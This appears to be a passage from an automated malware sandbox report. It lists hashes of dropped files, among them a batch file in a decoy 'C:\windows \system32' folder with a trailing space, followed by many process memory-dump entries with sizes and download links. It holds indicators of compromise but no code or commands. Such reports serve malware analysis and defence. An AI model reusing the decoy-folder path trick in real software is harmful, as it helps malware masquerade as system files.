fa7aa88417d0c48807144a1a48fe3fbc

SHA1
6f5ec990b12d4a6075050a94e0d68d03781fa46d

SHA256
2019dcd18ba7d5554a4a9da882740aa883941670af3de9396960081a0f8aa098

SHA512
99b2eb6f8e7d00a3803cba229149e5e0cb67a3deb607782c55fbacd25d9c074cce83759de15490eff939d5ad98f26cdbd44395cc79ffe22753e16c3d9e3b5fff

Download Submit
C:\windows \system32\KDECO.bat

Filesize
11KB

MD5
c545650595b479c81ad6b9d8882aae39

SHA1
7a98aa2e6eee23b3c1bba876955d525bc618b3f0

SHA256
a3a80983cb33159f0455fa0135789402558baa1460db94d0071318512b8cb5f9

SHA512
85ac596a7da9072a28c4178e4fdedc98f1b49c8e3fe5612cfe464833297b13f65d2dc59b52d7fc9970cff8f98d954111229aec0ed9dded454e03b0cf4ebb6ff3

Download Submit
memory/548-60-0x0000000002980000-0x0000000003980000-memory.dmp

Filesize
16.0MB

Download
memory/548-56-0x00000000006B0000-0x00000000006B1000-memory.dmp

Filesize
4KB

Download
memory/548-57-0x0000000000400000-0x0000000000500000-memory.dmp

Filesize
1024KB

Download
memory/548-59-0x0000000002980000-0x0000000003980000-memory.dmp

Filesize
16.0MB

Download
memory/548-62-0x0000000000400000-0x0000000000500000-memory.dmp

Filesize
1024KB

Download
memory/2208-115-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2208-123-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2208-131-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2208-128-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3172-134-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3172-110-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3172-117-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3172-118-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3172-113-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3292-35-0x00007FFFA0F80000-0x00007FFFA1A41000-memory.dmp

Filesize
10.8MB

Download
memory/3292-32-0x0000027C6DC90000-0x0000027C6DCA0000-memory.dmp

Filesize
64KB

Download
memory/3292-29-0x0000027C6DC90000-0x0000027C6DCA0000-memory.dmp

Filesize
64KB

Download
memory/3292-28-0x0000027C6DC90000-0x0000027C6DCA0000-memory.dmp

Filesize
64KB

Download
memory/3292-27-0x00007FFFA0F80000-0x00007FFFA1A41000-memory.dmp

Filesize
10.8MB

Download
memory/3292-17-0x0000027C6FD80000-0x0000027C6FDA2000-memory.dmp

Filesize
136KB

Download
memory/4240-116-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4240-112-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4240-129-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4240-122-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4244-104-0x0000000000930000-0x0000000001930000-memory.dmp

Filesize
16.0MB

Download
memory/4244-121-0x0000000000930000-0x0000000001930000-memory.dmp

Filesize
16.0MB

Download
memory/4244-105-0x0000000000930000-0x0000000001930000-memory.dmp

Filesize
16.0MB

Download
memory/4244-103-0x0000000000930000-0x0000000001930000-memory.dmp

Filesize
16.0MB

Download
memory/4244-101-0x0000000000930000-0x0000000001930000-memory.dmp

Filesize
16.0MB

Download
memory/4244-109-0x0000000000930000-0x0000000001930000-memory.dmp

Filesize
16.0MB

Download
memory/4244-100-0x0000000000930000-0x0000000001930000-memory.dmp

Filesize
16.0MB

Download
memory/4244-107-0x0000000000930000-0x0000000001930000-memory.dmp

Filesize
16.0MB

Download
memory/4244-98-0x0000000000930000-0x0000000001930000-memory.dmp

Filesize
16.0MB

Download
memory/4244-106-0x0000000000930000-0x0000000001930000-memory.dmp

Filesize
16.0MB

Download
memory/4244-130-0x0000000000930000-0x0000000001930000-memory.dmp

Filesize
16.0MB

Download
memory/4244-139-0x0000000020330000-0x0000000020349000-memory.dmp

Filesize
100KB

Download
memory/4244-136-0x0000000020330000-0x0000000020349000-memory.dmp

Filesize
100KB

Download
memory/4852-86-0x00000160F0140000-0x00000160F0150000-memory.dmp

Filesize
64KB

Download
memory/4852-85-0x00007FFF9F650000-0x00007FFFA0111000-memory.dmp

Filesize
10.8MB

Download
memory/4852-87-0x00000160F0140000-0x00000160F0150000-memory.dmp

Filesize
64KB

Download
memory/4852-91-0x00007FFF9F650000-0x00007FFFA0111000-memory.dmp

Filesize
10.8MB

Download
memory/4964-73-0x00000000613C0000-0x00000000613E3000-memory.dmp

Filesize
140KB

Download